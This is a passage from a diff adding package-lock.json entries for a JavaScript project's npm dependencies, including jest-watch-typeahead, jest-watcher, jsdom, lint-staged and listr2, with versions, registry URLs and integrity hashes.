"ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-watch-typeahead/node_modules/emittery": { + "version": "0.10.2", + "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.10.2.tgz", + "integrity": "sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sindresorhus/emittery?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-message-util": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-28.1.3.tgz", + "integrity": "sha512-PFdn9Iewbt575zKPf1286Ht9EPoJmYT7P0kY+RibeYZ2XtOr53pDLEFoTWXbd1h4JiGiWpTBC84fc8xMXQMb7g==", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^28.1.3", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^28.1.3", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-message-util/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-regex-util": { + "version": "28.0.2", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-28.0.2.tgz", + "integrity": "sha512-4s0IgyNIy0y9FK+cjoVYoxamT7Zeo7MhzqRGx7YDYmaQn1wucY9rotiGkBzzcMXTtjrCAP/f7f+E0F7+fxPNdw==", + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-util": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-28.1.3.tgz", + "integrity": "sha512-XdqfpHwpcSRko/C35uLYFM2emRAltIIKZiJ9eAmhjsj0CqZMa0p1ib0R5fWIqGhn1a103DebTbpqIaP1qCQ6tQ==", + "dependencies": { + "@jest/types": "^28.1.3", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-watcher": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-28.1.3.tgz", + "integrity": "sha512-t4qcqj9hze+jviFPUN3YAtAEeFnr/azITXQEMARf5cMwKY2SMBRnCQTXLixTl20OR6mLh9KLMrgVJgJISym+1g==", + "dependencies": { + "@jest/test-result": "^28.1.3", + "@jest/types": "^28.1.3", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "emittery": "^0.10.2", + "jest-util": "^28.1.3", + "string-length": "^4.0.1" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/string-length": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", + "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", + "dependencies": { + "char-regex": "^1.0.2", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/pretty-format": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-28.1.3.tgz", + "integrity": "sha512-8gFb/To0OmxHR9+ZTb14Df2vNxdGCX8g1xWGUTqUw5TiZvcQf5sHKObd5UcPyLLyowNwDAMTF3XWOG1B6mxl1Q==", + "dependencies": { + "@jest/schemas": "^28.1.3", + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==" + }, + "node_modules/jest-watch-typeahead/node_modules/slash": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/jest-watch-typeahead/node_modules/string-length": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/string-length/-/string-length-5.0.1.tgz", + "integrity": "sha512-9Ep08KAMUn0OadnVaBuRdE2l615CQ508kr0XMadjClfYpdCyvrbFp6Taebo8yyxokQ4viUd/xPPUA4FGgUa0ow==", + "dependencies": { + "char-regex": "^2.0.0", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/jest-watch-typeahead/node_modules/string-length/node_modules/char-regex": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-2.0.1.tgz", + "integrity": "sha512-oSvEeo6ZUD7NepqAat3RqoucZ5SeqLJgOvVIwkafu6IP3V0pO38s/ypdVUmDDK6qIIHNlYHJAKX9E7R7HoKElw==", + "engines": { + "node": ">=12.20" + } + }, + "node_modules/jest-watch-typeahead/node_modules/strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/strip-ansi/node_modules/ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watcher": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-27.5.1.tgz", + "integrity": "sha512-z676SuD6Z8o8qbmEGhoEUFOM1+jfEiL3DXHK/xgEiG2EyNYfFG60jluWcupY6dATjfEsKQuibReS1djInQnoVw==", + "dependencies": { + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "jest-util": "^27.5.1", + "string-length": "^4.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-watcher/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-watcher/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-watcher/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-watcher/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-watcher/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watcher/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-worker": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/jest-worker/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/jiti": { + "version": "1.21.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.0.tgz", + "integrity": "sha512-gFqAIbuKyyso/3G2qhiO2OM6shY6EPP/R0+mkDbyspxKazh8BXDC5FiFsUjlczgdNz/vfra0da2y+aHrusLG/Q==", + "bin": { + "jiti": "bin/jiti.js" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsdom": { + "version": "16.7.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-16.7.0.tgz", + "integrity": "sha512-u9Smc2G1USStM+s/x1ru5Sxrl6mPYCbByG1U/hUmqaVsm4tbNyS7CicOSRyuGQYZhTu0h84qkZZQ/I+dzizSVw==", + "dependencies": { + "abab": "^2.0.5", + "acorn": "^8.2.4", + "acorn-globals": "^6.0.0", + "cssom": "^0.4.4", + "cssstyle": "^2.3.0", + "data-urls": "^2.0.0", + "decimal.js": "^10.2.1", + "domexception": "^2.0.1", + "escodegen": "^2.0.0", + "form-data": "^3.0.0", + "html-encoding-sniffer": "^2.0.1", + "http-proxy-agent": "^4.0.1", + "https-proxy-agent": "^5.0.0", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.0", + "parse5": "6.0.1", + "saxes": "^5.0.1", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.0.0", + "w3c-hr-time": "^1.0.2", + "w3c-xmlserializer": "^2.0.0", + "webidl-conversions": "^6.1.0", + "whatwg-encoding": "^1.0.5", + "whatwg-mimetype": "^2.3.0", + "whatwg-url": "^8.5.0", + "ws": "^7.4.6", + "xml-name-validator": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "canvas": "^2.5.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" + }, + "node_modules/json-schema": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz", + "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==" + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsonpath": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/jsonpath/-/jsonpath-1.1.1.tgz", + "integrity": "sha512-l6Cg7jRpixfbgoWgkrl77dgEj8RPvND0wMH6TwQmi9Qs4TFfS9u5cUFnbeKTwj5ga5Y3BTGGNI28k117LJ009w==", + "dependencies": { + "esprima": "1.2.2", + "static-eval": "2.0.2", + "underscore": "1.12.1" + } + }, + "node_modules/jsonpath/node_modules/esprima": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-1.2.2.tgz", + "integrity": "sha512-+JpPZam9w5DuJ3Q67SqsMGtiHKENSMRVoxvArfJZK01/BfLEObtZ6orJa/MtoGNR/rfMgp5837T41PAmTwAv/A==", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/jsonpointer": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-5.0.1.tgz", + "integrity": "sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jsx-ast-utils": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz", + "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==", + "dependencies": { + "array-includes": "^3.1.6", + "array.prototype.flat": "^1.3.1", + "object.assign": "^4.1.4", + "object.values": "^1.1.6" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/kleur": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", + "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", + "engines": { + "node": ">=6" + } + }, + "node_modules/klona": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.6.tgz", + "integrity": "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/language-subtag-registry": { + "version": "0.3.22", + "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.22.tgz", + "integrity": "sha512-tN0MCzyWnoz/4nHS6uxdlFWoUZT7ABptwKPQ52Ea7URk6vll88bWBVhodtnlfEuCcKWNGoc+uGbw1cwa9IKh/w==" + }, + "node_modules/language-tags": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.9.tgz", + "integrity": "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==", + "dependencies": { + "language-subtag-registry": "^0.3.20" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/launch-editor": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/launch-editor/-/launch-editor-2.6.1.tgz", + "integrity": "sha512-eB/uXmFVpY4zezmGp5XtU21kwo7GBbKB+EQ+UZeWtGb9yAM5xt/Evk+lYH3eRNAtId+ej4u7TYPFZ07w4s7rRw==", + "dependencies": { + "picocolors": "^1.0.0", + "shell-quote": "^1.8.1" + } + }, + "node_modules/leven": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", + "engines": { + "node": ">=6" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lie": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/lie/-/lie-3.1.1.tgz", + "integrity": "sha512-RiNhHysUjhrDQntfYSfY4MU24coXXdEOgw9WGcKHNeEwffDYbF//u87M1EWaMGzuFoSbqW0C9C6lEEhDOAswfw==", + "dependencies": { + "immediate": "~3.0.5" + } + }, + "node_modules/lilconfig": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz", + "integrity": "sha512-xaYmXZtTHPAw5m+xLN8ab9C+3a8YmV3asNSPOATITbtwrfbwaLJj8h66H1WMIpALCkqsIzK3h7oQ+PdX+LQ9Eg==", + "engines": { + "node": ">=10" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" + }, + "node_modules/lint-staged": { + "version": "12.5.0", + "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-12.5.0.tgz", + "integrity": "sha512-BKLUjWDsKquV/JuIcoQW4MSAI3ggwEImF1+sB4zaKvyVx1wBk3FsG7UK9bpnmBTN1pm7EH2BBcMwINJzCRv12g==", + "dev": true, + "dependencies": { + "cli-truncate": "^3.1.0", + "colorette": "^2.0.16", + "commander": "^9.3.0", + "debug": "^4.3.4", + "execa": "^5.1.1", + "lilconfig": "2.0.5", + "listr2": "^4.0.5", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "object-inspect": "^1.12.2", + "pidtree": "^0.5.0", + "string-argv": "^0.3.1", + "supports-color": "^9.2.2", + "yaml": "^1.10.2" + }, + "bin": { + "lint-staged": "bin/lint-staged.js" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/lint-staged" + } + }, + "node_modules/lint-staged/node_modules/supports-color": { + "version": "9.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-9.4.0.tgz", + "integrity": "sha512-VL+lNrEoIXww1coLPOmiEmK/0sGigko5COxI09KzHc2VJXJsQ37UaQ+8quuxjDeA7+KnLGTWRyOXSLLR2Wb4jw==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/listr2": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/listr2/-/listr2-4.0.5.tgz", + "integrity": "sha512-juGHV1doQdpNT3GSTs9IUN43QJb7KHdF9uqg7Vufs/tG9VTzpFphqF4pm/ICdAABGQxsyNn9CiYA3StkI6jpwA==", + "dev": true, + "dependencies": { + "cli-truncate": "^2.1.0", + "colorette": "^2.0.16", + "log-update": "^4.0.0", + "p-map": "^4.0.0", + "rfdc": "^1.3.0", + "rxjs": "^7.5.5", + "through": "^2.3.8", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "enquirer": ">= 2.3.0 < 3" + }, + "peerDependenciesMeta": { + "enquirer": { + "optional": true + } + } + }, + "node_modules/listr2/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/listr2/node_modules/cli-truncate": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-2.1.0.tgz", + "integrity": "sha512-n8fOixwDD6b/ObinzTrp1ZKFzbgvKZvuz/TvejnLn1aQfC6r52XEx85FmuC+3HI+JM7coBRXUvNqEU2PHVrHpg==", + "dev": true, + "dependencies": { + "slice-ansi": "^3.0.0", + "string-width": "^4.2.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + 